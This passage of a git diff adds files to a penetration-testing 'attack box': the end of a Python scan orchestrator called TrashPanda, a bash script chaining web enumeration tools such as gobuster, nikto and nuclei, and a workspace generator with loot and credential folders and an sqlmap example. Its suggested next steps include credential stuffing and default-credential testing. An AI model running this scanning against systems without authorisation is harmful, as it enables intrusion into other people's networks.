print(f"\n{Colors.OKBLUE}[*] Running {module_name}...{Colors.ENDC}") + if module_name == "Enhanced DNS Enumeration": + module_func(base_dir, targets, debug=debug) + else: + module_func(base_dir, targets, debug=debug) + except Exception as e: + print(f"{Colors.FAIL}[!] Error in {module_name}: {e}{Colors.ENDC}") + if debug: + import traceback + traceback.print_exc() + +def generate_summary_report(base_dir): + """Generate a comprehensive summary report of all findings.""" + reports_dir = os.path.join(base_dir, "reports") + report_file = os.path.join(reports_dir, "trashpanda_summary.txt") + + print(f"{Colors.OKGREEN}[+] Generating comprehensive summary report: {report_file}{Colors.ENDC}") + + with open(report_file, 'w') as f: + f.write("=" * 80 + "\n") + f.write("TRASHPANDA COMPREHENSIVE PENETRATION TESTING REPORT\n") + f.write("=" * 80 + "\n\n") + f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"Operator: operator\n") + f.write(f"Engagement Directory: {base_dir}\n\n") + + # Enhanced directory structure overview + f.write("DIRECTORY STRUCTURE:\n") + f.write("-" * 20 + "\n") + main_dirs = ["tools", "scans", "logs", "loot", "payloads", "targets", + "screenshots", "reports", "notes", "exploits", "wordlists", "pcaps"] + + for main_dir in main_dirs: + dir_path = os.path.join(base_dir, main_dir) + if os.path.exists(dir_path): + file_count = len([f for f in os.listdir(dir_path) + if os.path.isfile(os.path.join(dir_path, f))]) + subdir_count = len([d for d in os.listdir(dir_path) + if os.path.isdir(os.path.join(dir_path, d))]) + f.write(f"โ”œโ”€โ”€ {main_dir:15} ({file_count} files, {subdir_count} subdirs)\n") + + f.write("\n") + + # Enhanced scan results summary + f.write("SCAN RESULTS SUMMARY:\n") + f.write("-" * 21 + "\n") + scans_dir = os.path.join(base_dir, "scans") + if os.path.exists(scans_dir): + scan_types = ["nmap", "dns", "snmp", "smb", "web", "ssl", "vulns", + "databases", "ldap", "ftp", "ssh", "reachability"] + for scan_type in scan_types: + scan_dir = os.path.join(scans_dir, scan_type) + if os.path.exists(scan_dir): + file_count = len([f for f in os.listdir(scan_dir) + if os.path.isfile(os.path.join(scan_dir, f))]) + f.write(f"โ”œโ”€โ”€ {scan_type.upper():12} scans: {file_count} files\n") + + f.write("\n") + + # Service discovery summary + services = discover_services_from_nmap(base_dir) + if services: + f.write("DISCOVERED SERVICES:\n") + f.write("-" * 20 + "\n") + for ip, service_list in services.items(): + f.write(f"Target: {ip}\n") + for service in service_list: + ssl_indicator = " (SSL)" if service['ssl'] else "" + f.write(f" โ”œโ”€โ”€ {service['protocol']}/{service['port']} - {service['service']}{ssl_indicator}\n") + f.write("\n") + + # Key files inventory + f.write("KEY FILES:\n") + f.write("-" * 10 + "\n") + + key_files = [ + ("targets/alive_hosts.txt", "Live hosts discovered"), + ("scans/reachability/reachable_targets_*.txt", "Network reachability results"), + ("scans/nmap/*.gnmap", "Nmap scan results"), + ("scans/dns/dns_enumeration_summary.txt", "DNS enumeration summary"), + ("scans/snmp/snmp_enumeration_summary.txt", "SNMP enumeration summary"), + ("scans/_manual_commands.txt", "Manual commands for further testing"), + ("pcaps/capture_*.pcap", "Network traffic capture"), + ("logs/engagement.log", "Engagement activity log") + ] + + for file_pattern, description in key_files: + file_path = os.path.join(base_dir, file_pattern.replace("*", "")) + if "*" in file_pattern: + import glob + matches = glob.glob(os.path.join(base_dir, file_pattern)) + if matches: + f.write(f"โœ“ {description}: {len(matches)} file(s)\n") + else: + f.write(f"โœ— {description}: Not found\n") + elif os.path.exists(file_path): + f.write(f"โœ“ {description}: Available\n") + else: + f.write(f"โœ— {description}: Not found\n") + + f.write("\n" + "=" * 80 + "\n") + f.write("RECOMMENDED NEXT STEPS:\n") + f.write("1. Review manual commands in scans/_manual_commands.txt\n") + f.write("2. Analyze discovered services for vulnerabilities\n") + f.write("3. Check web services for common web application vulnerabilities\n") + f.write("4. Review SMB shares for sensitive information\n") + f.write("5. Test discovered databases for default credentials\n") + f.write("6. Perform credential stuffing attacks if usernames discovered\n") + f.write("7. Document all findings in notes/ directory\n") + f.write("8. Store any discovered credentials in loot/ directory\n") + f.write("=" * 80 + "\n") + +def main(): + parser = argparse.ArgumentParser( + description="TrashPanda - Professional Penetration Testing Framework v2.4", + epilog=""" +Examples: + %(prog)s targets.txt # Standard scan with reachability test + %(prog)s -e targets.txt # Enhanced comprehensive enumeration + %(prog)s -r targets.txt # Reachability testing only + %(prog)s -c # Just create directory structure + %(prog)s -n targets.txt # Only run Nmap scans + %(prog)s targets.txt -s # Stealth mode scanning + %(prog)s 192.168.1.0/24 -q # Quick scan mode + """, + formatter_class=argparse.RawDescriptionHelpFormatter + ) + + # Target specification + parser.add_argument("targets", nargs='?', help="Target file, IP, IP range, or CIDR") + + # Directory options + parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/operator") + parser.add_argument("-c", "--create-dirs", action="store_true", help="Only create directory structure and exit") + + # Scan modes + parser.add_argument("-e", "--enhanced", action="store_true", help="Enable enhanced comprehensive enumeration mode") + parser.add_argument("-s", "--stealth", action="store_true", help="Enable stealth mode") + parser.add_argument("-q", "--quick", action="store_true", help="Quick mode") + parser.add_argument("-f", "--full-tcp", action="store_true", help="Include full TCP port scan") + + # Reachability testing + parser.add_argument("-r", "--reachability-only", action="store_true", help="Only run network reachability testing") + parser.add_argument("--skip-reachability", action="store_true", help="Skip initial reachability testing") + parser.add_argument("--reachability-threads", type=int, default=REACHABILITY_THREADS, help="Threads for reachability testing") + parser.add_argument("--reachability-timeout", type=int, default=REACHABILITY_TIMEOUT, help="Timeout for reachability tests") + + # Individual module flags + parser.add_argument("-n", "--nmap-only", action="store_true", help="Only run Nmap scans") + parser.add_argument("--dns-only", action="store_true", help="Only run DNS enumeration") + parser.add_argument("--snmp-only", action="store_true", help="Only run SNMP enumeration") + parser.add_argument("--smb-only", action="store_true", help="Only run SMB enumeration") + parser.add_argument("-w", "--web-only", action="store_true", help="Only run web enumeration") + parser.add_argument("--ssl-only", action="store_true", help="Only run SSL enumeration") + parser.add_argument("-v", "--vulns-only", action="store_true", help="Only run vulnerability scripts") + + # Module exclusions + parser.add_argument("--no-dns", action="store_true", help="Skip DNS enumeration") + parser.add_argument("--no-snmp", action="store_true", help="Skip SNMP enumeration") + parser.add_argument("--no-smb", action="store_true", help="Skip SMB enumeration") + parser.add_argument("--no-web", action="store_true", help="Skip web enumeration") + parser.add_argument("--no-ssl", action="store_true", help="Skip SSL enumeration") + parser.add_argument("--no-vulns", action="store_true", help="Skip vulnerability scripts") + + # Packet capture options + parser.add_argument("--no-pcap", action="store_true", help="Skip tcpdump packet capture") + parser.add_argument("-p", "--pcap-duration", type=int, default=TCPDUMP_DURATION, help=f"TCPDump capture duration in seconds") + parser.add_argument("-i", "--pcap-interface", default="any", help="Network interface for packet capture") + + # Debug options + parser.add_argument("--debug", action="store_true", help="Enable debug output") + + args = parser.parse_args() + + print_banner() + + # Create penetration testing structure + base_dir = create_pentest_structure(args.directory) + + # Initialize comprehensive logging + csv_log_file, verbose_log_file = setup_logging(base_dir) + log_command.csv_file = csv_log_file # Store for log_command function + + # Setup console output logging if not in debug mode + if not args.debug: + original_stdout = sys.stdout + sys.stdout = LoggingPrint(original_stdout) + + log_verbose("TrashPanda session started", 'INFO') + log_verbose(f"Arguments: {' '.join(sys.argv)}", 'INFO') + + # If only creating directories, exit here + if args.create_dirs: + print(f"{Colors.OKGREEN}[+] Directory structure created. Exiting as requested.{Colors.ENDC}") + log_verbose("Directory creation only mode - exiting", 'INFO') + sys.exit(0) + + # Parse targets + if args.targets: + print(f"{Colors.OKBLUE}[*] Parsing targets...{Colors.ENDC}") + targets = parse_targets(args.targets) + else: + # Use default target file + default_targets = os.path.join(base_dir, "targets", "targets.txt") + if os.path.exists(default_targets): + with open(default_targets, 'r') as f: + content = [line.strip() for line in f if line.strip() and not line.startswith('#')] + + if content: + print(f"{Colors.OKBLUE}[*] Using default target file: {default_targets}{Colors.ENDC}") + targets = parse_targets(default_targets) + else: + print(f"{Colors.FAIL}[!] Default target file is empty{Colors.ENDC}") + sys.exit(1) + else: + print(f"{Colors.FAIL}[!] No targets specified and no default target file found{Colors.ENDC}") + sys.exit(1) + + if not targets: + print(f"{Colors.FAIL}[!] No valid targets found{Colors.ENDC}") + sys.exit(1) + + print(f"{Colors.OKGREEN}[+] Loaded {len(targets)} targets{Colors.ENDC}") + + # Apply public IP safety filter + targets = filter_public_ips_from_targets(targets) + + if not targets: + print(f"{Colors.FAIL}[!] No valid targets remaining after filtering{Colors.ENDC}") + sys.exit(1) + + print(f"{Colors.OKGREEN}[+] Proceeding with {len(targets)} filtered targets{Colors.ENDC}") + + # Reachability-only mode + if args.reachability_only: + print(f"{Colors.OKBLUE}[*] Running standalone smart network reachability assessment{Colors.ENDC}") + reachable, unreachable, detailed = run_smart_network_reachability_test( + targets, base_dir, standalone=True, debug=args.debug, + threads=args.reachability_threads, timeout=args.reachability_timeout + ) + sys.exit(0) + + if args.enhanced: + print(f"{Colors.WARNING}[!] Enhanced mode enabled - comprehensive enumeration will take significantly longer{Colors.ENDC}") + if args.stealth: + print(f"{Colors.WARNING}[!] Stealth mode enabled - scans will be slower and quieter{Colors.ENDC}") + + # Determine which modules to run + modules_selected = any([ + args.nmap_only, args.dns_only, args.snmp_only, args.smb_only, + args.web_only, args.ssl_only, args.vulns_only + ]) + + # Start tcpdump if requested + tcpdump_info = None + if not args.no_pcap and not modules_selected: + tcpdump_info = start_tcpdump(base_dir, args.pcap_duration, args.pcap_interface) + + # Log start time and parameters + start_time = time.time() + engagement_log = os.path.join(base_dir, "logs", "engagement.log") + + with open(engagement_log, 'a') as f: + f.write(f"\n=== SCAN SESSION ===\n") + f.write(f"Start Time: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"Target Count: {len(targets)}\n") + f.write(f"Enhanced Mode: {args.enhanced}\n") + f.write(f"Stealth Mode: {args.stealth}\n") + f.write(f"Quick Mode: {args.quick}\n") + f.write(f"Reachability Testing: {not args.skip_reachability}\n") + f.write(f"Arguments: {' '.join(sys.argv)}\n\n") + + try: + # Phase 0: Network Reachability Testing (unless skipped) + if not args.skip_reachability: + print(f"{Colors.OKBLUE}[*] Phase 0: Smart Network Reachability Assessment{Colors.ENDC}") + reachable_targets, unreachable_targets, detailed_results = run_smart_network_reachability_test( + targets, base_dir, standalone=False, debug=args.debug, + threads=args.reachability_threads, timeout=args.reachability_timeout + ) + + if not reachable_targets: + print(f"{Colors.FAIL}[!] No targets are reachable from current network position{Colors.ENDC}") + print(f"{Colors.WARNING}[!] Check network connectivity or try from different location{Colors.ENDC}") + sys.exit(1) + + # Use only reachable targets for further scanning + targets = reachable_targets + print(f"{Colors.OKGREEN}[+] Proceeding with {len(targets)} reachable targets{Colors.ENDC}") + else: + print(f"{Colors.WARNING}[!] Skipping reachability testing as requested{Colors.ENDC}") + + alive_hosts = targets # Default to all targets + + # Run individual modules if specified + if args.nmap_only: + alive_hosts = run_nmap_discovery(base_dir, targets, args.stealth, args.quick, args.enhanced, args.debug) + elif args.dns_only: + run_enhanced_dns_enumeration(base_dir, targets, args.debug) + elif args.snmp_only: + print(f"{Colors.OKBLUE}[*] SNMP enumeration module not implemented yet{Colors.ENDC}") + elif args.smb_only: + run_enhanced_smb_enumeration(base_dir, targets, args.debug) + elif args.web_only: + run_enhanced_web_enumeration(base_dir, targets, args.stealth, args.debug) + elif args.ssl_only: + print(f"{Colors.OKBLUE}[*] SSL enumeration module not implemented yet{Colors.ENDC}") + elif args.vulns_only: + print(f"{Colors.OKBLUE}[*] Vulnerability scanning module not implemented yet{Colors.ENDC}") + else: + # Progressive scan mode - reorganized for quicker results + scan_mode = "Enhanced" if args.enhanced else ("Quick" if args.quick else "Standard") + print(f"{Colors.OKGREEN}[+] Starting {scan_mode} progressive enumeration scan{Colors.ENDC}") + + # Phase 1: Quick Reconnaissance (fast results first) + quick_hits = run_quick_reconnaissance(base_dir, targets, args.debug) + + # Phase 2: Comprehensive Nmap Discovery and Port Scanning + alive_hosts = run_nmap_discovery(base_dir, targets, args.stealth, args.quick, args.enhanced, args.debug) + + # Phase 3: Enhanced enumeration if requested + if args.enhanced: + run_enhanced_enumeration(base_dir, alive_hosts, args.stealth, args.debug) + + # Stop tcpdump before generating report + if tcpdump_info: + print(f"{Colors.OKBLUE}[*] Stopping packet capture...{Colors.ENDC}") + stop_tcpdump(tcpdump_info) + + # Generate comprehensive summary report + generate_summary_report(base_dir) + + # Calculate runtime + end_time = time.time() + runtime = end_time - start_time + hours = int(runtime // 3600) + minutes = int((runtime % 3600) // 60) + seconds = int(runtime % 60) + + # Log completion + with open(engagement_log, 'a') as f: + f.write(f"End Time: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"Total Runtime: {hours:02d}:{minutes:02d}:{seconds:02d}\n") + f.write(f"Status: Completed Successfully\n") + + print(f"\n{Colors.OKGREEN}{'='*60}{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] TrashPanda enumeration completed!{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] Runtime: {hours:02d}:{minutes:02d}:{seconds:02d}{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] Results saved to: {base_dir}{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] Manual commands: {os.path.join(base_dir, 'scans', '_manual_commands.txt')}{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] Summary report: {os.path.join(base_dir, 'reports', 'trashpanda_summary.txt')}{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] CSV commands log: {csv_log_file}{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] Verbose log: {verbose_log_file}{Colors.ENDC}") + if tcpdump_info: + print(f"{Colors.OKGREEN}[+] Packet capture: {tcpdump_info['pcap_file']}{Colors.ENDC}") + print(f"{Colors.OKGREEN}{'='*60}{Colors.ENDC}") + + log_verbose(f"TrashPanda session completed successfully in {runtime:.2f} seconds", 'INFO') + + except KeyboardInterrupt: + print(f"\n{Colors.WARNING}[!] Scan interrupted by user{Colors.ENDC}") + log_verbose("Scan interrupted by user (KeyboardInterrupt)", 'WARNING') + if 'tcpdump_info' in locals() and tcpdump_info: + stop_tcpdump(tcpdump_info) + generate_summary_report(base_dir) + sys.exit(1) + + except Exception as e: + print(f"\n{Colors.FAIL}[!] Unexpected error: {e}{Colors.ENDC}") + log_verbose(f"Unexpected error: {e}", 'ERROR') + if 'tcpdump_info' in locals() and tcpdump_info: + stop_tcpdump(tcpdump_info) + if args.debug: + import traceback + traceback.print_exc() + log_verbose(f"Traceback: {traceback.format_exc()}", 'ERROR') + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/modules/attack-box/files/web_enum_automation.sh b/modules/attack-box/files/web_enum_automation.sh new file mode 100755 index 0000000..0f090d0 --- /dev/null +++ b/modules/attack-box/files/web_enum_automation.sh @@ -0,0 +1,230 @@ +#!/bin/bash +# Web Application Enumeration Script for Attack Box +# Usage: ./web_enum_automation.sh + +set -e + +if [ $# -eq 0 ]; then + echo "Usage: $0 " + echo "Example: $0 https://example.com" + echo " $0 http://192.168.1.100:8080" + exit 1 +fi + +TARGET_URL="$1" +# Extract domain/IP for workspace naming +TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_') +WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN" +DATE=$(date +%Y%m%d_%H%M%S) + +# Colors for output +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +echo -e "${GREEN}[+] Starting web enumeration for: $TARGET_URL${NC}" + +# Create workspace +mkdir -p "$WORKSPACE" +cd "$WORKSPACE" + +# Create log file +LOG_FILE="web_enum_$DATE.log" +echo "Web enumeration started at $(date)" > "$LOG_FILE" + +# Function to log and execute +log_and_run() { + echo -e "${YELLOW}[*] $1${NC}" + echo "[$(date)] $1" >> "$LOG_FILE" + eval "$2" 2>&1 | tee -a "$LOG_FILE" +} + +# Basic web info gathering +echo -e "${GREEN}[+] Phase 1: Basic Information Gathering${NC}" +log_and_run "Getting HTTP headers" "curl -I $TARGET_URL" +log_and_run "Checking robots.txt" "curl -s $TARGET_URL/robots.txt" +log_and_run "Checking sitemap.xml" "curl -s $TARGET_URL/sitemap.xml" + +# Technology detection +echo -e "${GREEN}[+] Phase 2: Technology Detection${NC}" +log_and_run "Running whatweb" "whatweb -a 3 $TARGET_URL" +if command -v wappalyzer &> /dev/null; then + log_and_run "Running Wappalyzer" "wappalyzer $TARGET_URL" +fi + +# Directory and file enumeration +echo -e "${GREEN}[+] Phase 3: Directory and File Enumeration${NC}" + +# Gobuster with common wordlist +log_and_run "Gobuster directory enumeration (common)" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -o gobuster_common.txt -q" + +# Gobuster with bigger wordlist +if [ -f "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" ]; then + log_and_run "Gobuster directory enumeration (medium)" "gobuster dir -u $TARGET_URL -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o gobuster_medium.txt -q --timeout 10s" +fi + +# File extension enumeration +log_and_run "Gobuster file enumeration" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -x txt,php,html,js,xml,json,bak,old -o gobuster_files.txt -q" + +# Alternative directory tools +if command -v dirb &> /dev/null; then + log_and_run "Dirb enumeration" "dirb $TARGET_URL -o dirb_results.txt" +fi + +if command -v ffuf &> /dev/null; then + log_and_run "FFUF enumeration" "ffuf -w /usr/share/wordlists/dirb/common.txt -u $TARGET_URL/FUZZ -o ffuf_results.json -of json -s" +fi + +# Subdomain enumeration (if it's a domain) +if [[ $TARGET_URL == *"."* ]] && [[ $TARGET_URL != *[0-9]* ]]; then + echo -e "${GREEN}[+] Phase 4: Subdomain Enumeration${NC}" + DOMAIN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | cut -d':' -f1) + log_and_run "Gobuster subdomain enumeration" "gobuster dns -d $DOMAIN -w /usr/share/wordlists/dirb/common.txt -o gobuster_subdomains.txt -q" +fi + +# Web vulnerability scanning +echo -e "${GREEN}[+] Phase 5: Vulnerability Scanning${NC}" +log_and_run "Nikto scan" "nikto -h $TARGET_URL -o nikto_results.txt" + +# Nuclei web templates +if command -v nuclei &> /dev/null; then + log_and_run "Nuclei web vulnerability scan" "nuclei -u $TARGET_URL -t ~/nuclei-templates/http/ -o nuclei_web_results.txt" +fi + +# SSL/TLS testing (for HTTPS) +if [[ $TARGET_URL == https* ]]; then + echo -e "${GREEN}[+] Phase 6: SSL/TLS Testing${NC}" + DOMAIN=$(echo "$TARGET_URL" | sed 's|https://||g' | sed 's|/.*||g') + log_and_run "SSL certificate information" "openssl s_client -connect $DOMAIN:443 -servername $DOMAIN < /dev/null 2>/dev/null | openssl x509 -text -noout" + + if command -v sslscan &> /dev/null; then + log_and_run "SSLScan" "sslscan $DOMAIN" + fi + + if command -v testssl.sh &> /dev/null; then + log_and_run "TestSSL" "testssl.sh $TARGET_URL" + fi +fi + +# Web application firewall detection +echo -e "${GREEN}[+] Phase 7: WAF Detection${NC}" +if command -v wafw00f &> /dev/null; then + log_and_run "WAF detection" "wafw00f $TARGET_URL" +fi + +# Content discovery and analysis +echo -e "${GREEN}[+] Phase 8: Content Analysis${NC}" + +# Find interesting files and directories +echo -e "${BLUE}[*] Analyzing discovered content...${NC}" +if [ -f "gobuster_common.txt" ]; then + echo "Interesting directories found:" >> content_analysis.txt + grep -E "(admin|login|api|config|backup|test|dev)" gobuster_common.txt >> content_analysis.txt 2>/dev/null || echo "No interesting directories found" >> content_analysis.txt +fi + +# Parameter discovery +if command -v arjun &> /dev/null; then + log_and_run "Parameter discovery with Arjun" "arjun -u $TARGET_URL -o arjun_params.txt" +fi + +# JavaScript analysis +log_and_run "Finding JavaScript files" "curl -s $TARGET_URL | grep -oP '(?<=src=\")[^\"]*\.js(?=\")' | head -10 > js_files.txt" + +# Generate summary report +echo -e "${GREEN}[+] Web Enumeration Complete!${NC}" +echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}" +echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}" + +# Count discovered items +DIRS_FOUND=0 +FILES_FOUND=0 +if [ -f "gobuster_common.txt" ]; then + DIRS_FOUND=$(wc -l < gobuster_common.txt) +fi +if [ -f "gobuster_files.txt" ]; then + FILES_FOUND=$(wc -l < gobuster_files.txt) +fi + +echo -e "${BLUE}[*] Directories found: $DIRS_FOUND${NC}" +echo -e "${BLUE}[*] Files found: $FILES_FOUND${NC}" + +# Generate HTML report +cat > "web_enum_report.html" << EOF + + + + Web Enumeration Report - $TARGET_URL + + + +

Web Enumeration Report

+

Target: $TARGET_URL

+ +
+

Statistics

+

Directories Found: $DIRS_FOUND

+

Files Found: $FILES_FOUND

+

Scan Date: $(date)

+
+ +

Discovered Directories

+
$(cat gobuster_common.txt 2>/dev/null | head -20 || echo "No directories file found")
+ +

Discovered Files

+
$(cat gobuster_files.txt 2>/dev/null | head -20 || echo "No files found")
+ +

Technology Stack

+
$(grep -A 10 "Running whatweb" $LOG_FILE 2>/dev/null | tail -n +2 | head -10 || echo "Technology detection results not available")
+ +

Security Findings

+
$(cat nikto_results.txt 2>/dev/null | head -20 || echo "Nikto results not available")
+ + +EOF + +echo -e "${GREEN}[+] HTML report generated: web_enum_report.html${NC}" + +# Next steps suggestions +cat > "next_steps.txt" << EOF +Next Steps for $TARGET_URL: +=========================== + +1. Manual Testing: + - Browse discovered directories manually + - Test for authentication bypasses + - Look for file upload functionality + - Check for SQL injection points + +2. Focused Scanning: + - Run OWASP ZAP or Burp Suite + - Test for XSS vulnerabilities + - Check for CSRF tokens + - Test API endpoints if found + +3. Exploitation: + - Research CVEs for identified technologies + - Test default credentials + - Look for configuration files with sensitive data + - Check for local file inclusion vulnerabilities + +4. Further Enumeration: + - Use custom wordlists for your target + - Check for backup files (.bak, .old, .swp) + - Look for version control directories (.git, .svn) + - Test for subdomain takeover + +Files to review: +$(ls -la *.txt *.html *.json 2>/dev/null || echo "No additional files found") +EOF + +echo -e "${GREEN}[+] Next steps guide generated: next_steps.txt${NC}" +echo "Web enumeration completed at $(date)" >> "$LOG_FILE" diff --git a/modules/attack-box/files/workspace_generator.py b/modules/attack-box/files/workspace_generator.py new file mode 100755 index 0000000..600b33d --- /dev/null +++ b/modules/attack-box/files/workspace_generator.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python3 +""" +Workspace Structure Generator for Attack Box +Creates trashpanda-style penetration testing directory structure +""" + +import os +import time +from pathlib import Path + +def create_workspace_structure(base_name="/root/operator", operator="operator"): + """Create a comprehensive penetration testing directory structure like trashpanda.""" + + # Main engagement directory + base_dir = os.path.abspath(base_name) + + # Primary directories (based on trashpanda structure) + main_dirs = { + "tools": "Downloaded/compiled tools and scripts", + "scans": "All scan results organized by type", + "logs": "Execution logs and debug output", + "loot": "Extracted credentials, hashes, and sensitive data", + "payloads": "Custom payloads and exploit code", + "targets": "Target lists and reconnaissance data", + "screenshots": "Visual evidence and GUI captures", + "reports": "Draft reports and documentation", + "notes": "Manual notes and observations", + "exploits": "Working exploits and proof-of-concepts", + "wordlists": "Custom and downloaded wordlists", + "pcaps": "Network captures and traffic analysis" + } + + # Scan subdirectories (comprehensive enumeration structure) + scan_subdirs = { + "nmap": "Network discovery and port scanning", + "dns": "DNS enumeration and zone transfers", + "snmp": "SNMP enumeration and community strings", + "smb": "SMB/NetBIOS enumeration and shares", + "web": "Web application scanning and enumeration", + "ssl": "SSL/TLS certificate and cipher analysis", + "vulns": "Vulnerability scanning and NSE scripts", + "ldap": "LDAP enumeration and directory services", + "ftp": "FTP enumeration and anonymous access", + "ssh": "SSH enumeration and key analysis", + "databases": "Database enumeration (MySQL, MSSQL, etc)", + "custom": "Custom and manual scans", + "reachability": "Network reachability test results" + } + + # Loot subdirectories (for extracted data) + loot_subdirs = { + "credentials": "Usernames, passwords, and authentication data", + "hashes": "Password hashes and cracking results", + "keys": "SSH keys, certificates, and crypto material", + "configs": "Configuration files and sensitive data", + "databases": "Extracted database contents", + "files": "Interesting files and documents" + } + + print(f"[+] Creating penetration testing structure: {base_dir}") + + # Create main directories + for dir_name, description in main_dirs.items(): + dir_path = os.path.join(base_dir, dir_name) + Path(dir_path).mkdir(parents=True, exist_ok=True) + + # Create README files for documentation + readme_path = os.path.join(dir_path, "README.md") + if not os.path.exists(readme_path): + with open(readme_path, 'w') as f: + f.write(f"# {dir_name.upper()}\n\n") + f.write(f"{description}\n\n") + f.write(f"Created by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + + # Create scan subdirectories + scans_dir = os.path.join(base_dir, "scans") + for subdir, description in scan_subdirs.items(): + subdir_path = os.path.join(scans_dir, subdir) + Path(subdir_path).mkdir(parents=True, exist_ok=True) + + readme_path = os.path.join(subdir_path, "README.md") + if not os.path.exists(readme_path): + with open(readme_path, 'w') as f: + f.write(f"# {subdir.upper()} SCANS\n\n") + f.write(f"{description}\n\n") + + # Create loot subdirectories + loot_dir = os.path.join(base_dir, "loot") + for subdir, description in loot_subdirs.items(): + subdir_path = os.path.join(loot_dir, subdir) + Path(subdir_path).mkdir(parents=True, exist_ok=True) + + readme_path = os.path.join(subdir_path, "README.md") + if not os.path.exists(readme_path): + with open(readme_path, 'w') as f: + f.write(f"# {subdir.upper()}\n\n") + f.write(f"{description}\n\n") + + # Create engagement log + engagement_log = os.path.join(base_dir, "logs", "engagement.log") + with open(engagement_log, 'w') as f: + f.write(f"Attack Box Engagement Log\n") + f.write(f"=========================\n") + f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"Operator: {operator}\n") + f.write(f"Tool: Attack Box Manual Testing Interface\n\n") + + # Create initial target file + target_template = os.path.join(base_dir, "targets", "targets.txt") + if not os.path.exists(target_template): + with open(target_template, 'w') as f: + f.write("# Target List\n") + f.write("# Add IPs, ranges, or hostnames (one per line)\n") + f.write("# Examples:\n") + f.write("# 192.168.1.1\n") + f.write("# 192.168.1.0/24\n") + f.write("# 192.168.1.1-50\n") + f.write("# target.domain.com\n\n") + + # Create manual commands file + manual_commands = os.path.join(base_dir, "scans", "_manual_commands.txt") + with open(manual_commands, 'w') as f: + f.write("# Manual Commands for Further Enumeration\n") + f.write("# ======================================\n") + f.write(f"# Generated by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n\n") + f.write("# Example commands:\n") + f.write("# nmap -sS -T4 --top-ports 1000 \n") + f.write("# gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt\n") + f.write("# nikto -h http://\n") + f.write("# sqlmap -u http://?id=1 --dbs\n\n") + + # Create notes template + notes_template = os.path.join(base_dir, "notes", "engagement_notes.md") + with open(notes_template, 'w') as f: + f.write(f"# Engagement Notes\n\n") + f.write(f"**Date:** {time.strftime('%Y-%m-%d')}\n") + f.write(f"**Operator:** {operator}\n") + f.write(f"**Engagement:** TBD\n\n") + f.write(f"## Scope\n") + f.write(f"- [ ] Define target scope\n") + f.write(f"- [ ] Identify key assets\n") + f.write(f"- [ ] Document rules of engagement\n\n") + f.write(f"## Methodology\n") + f.write(f"1. **Reconnaissance**\n") + f.write(f" - Passive information gathering\n") + f.write(f" - DNS enumeration\n") + f.write(f" - OSINT collection\n\n") + f.write(f"2. **Scanning & Enumeration**\n") + f.write(f" - Network discovery\n") + f.write(f" - Port scanning\n") + f.write(f" - Service enumeration\n\n") + f.write(f"3. **Vulnerability Assessment**\n") + f.write(f" - Automated scanning\n") + f.write(f" - Manual testing\n") + f.write(f" - Vulnerability validation\n\n") + f.write(f"4. **Exploitation**\n") + f.write(f" - Proof of concept development\n") + f.write(f" - Privilege escalation\n") + f.write(f" - Lateral movement\n\n") + f.write(f"## Key Findings\n") + f.write(f"*Document critical findings here*\n\n") + f.write(f"## Timeline\n") + f.write(f"- **{time.strftime('%Y-%m-%d %H:%M')}:** Engagement started\n\n") + + # Create wordlist directory with common lists + wordlist_dir = os.path.join(base_dir, "wordlists") + common_wordlists = os.path.join(wordlist_dir, "common_lists.txt") + with open(common_wordlists, 'w') as f: + f.write("# Common Wordlist Locations\n") + f.write("# =========================\n") + f.write("# Directory enumeration:\n") + f.write("/usr/share/wordlists/dirb/common.txt\n") + f.write("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt\n") + f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt\n\n") + f.write("# File enumeration:\n") + f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt\n") + f.write("/usr/share/seclists/Discovery/Web-Content/common.txt\n\n") + f.write("# Subdomain enumeration:\n") + f.write("/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt\n") + f.write("/usr/share/seclists/Discovery/DNS/fierce-hostlist.txt\n\n") + f.write("# Password attacks:\n") + f.write("/usr/share/wordlists/rockyou.txt\n") + f.write("/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt\n") + + # Create scripts directory with useful scripts + scripts_dir = os.path.join(base_dir, "tools", "scripts") + Path(scripts_dir).mkdir(parents=True, exist_ok=True) + + quick_enum_script = os.path.join(scripts_dir, "quick_enum.sh") + with open(quick_enum_script, 'w') as f: + f.write("#!/bin/bash\n") + f.write("# Quick enumeration script\n") + f.write("# Usage: ./quick_enum.sh \n\n") + f.write("if [ $# -eq 0 ]; then\n") + f.write(' echo "Usage: $0 "\n') + f.write(" exit 1\n") + f.write("fi\n\n") + f.write("TARGET=$1\n") + f.write("DATE=$(date +%Y%m%d_%H%M%S)\n") + 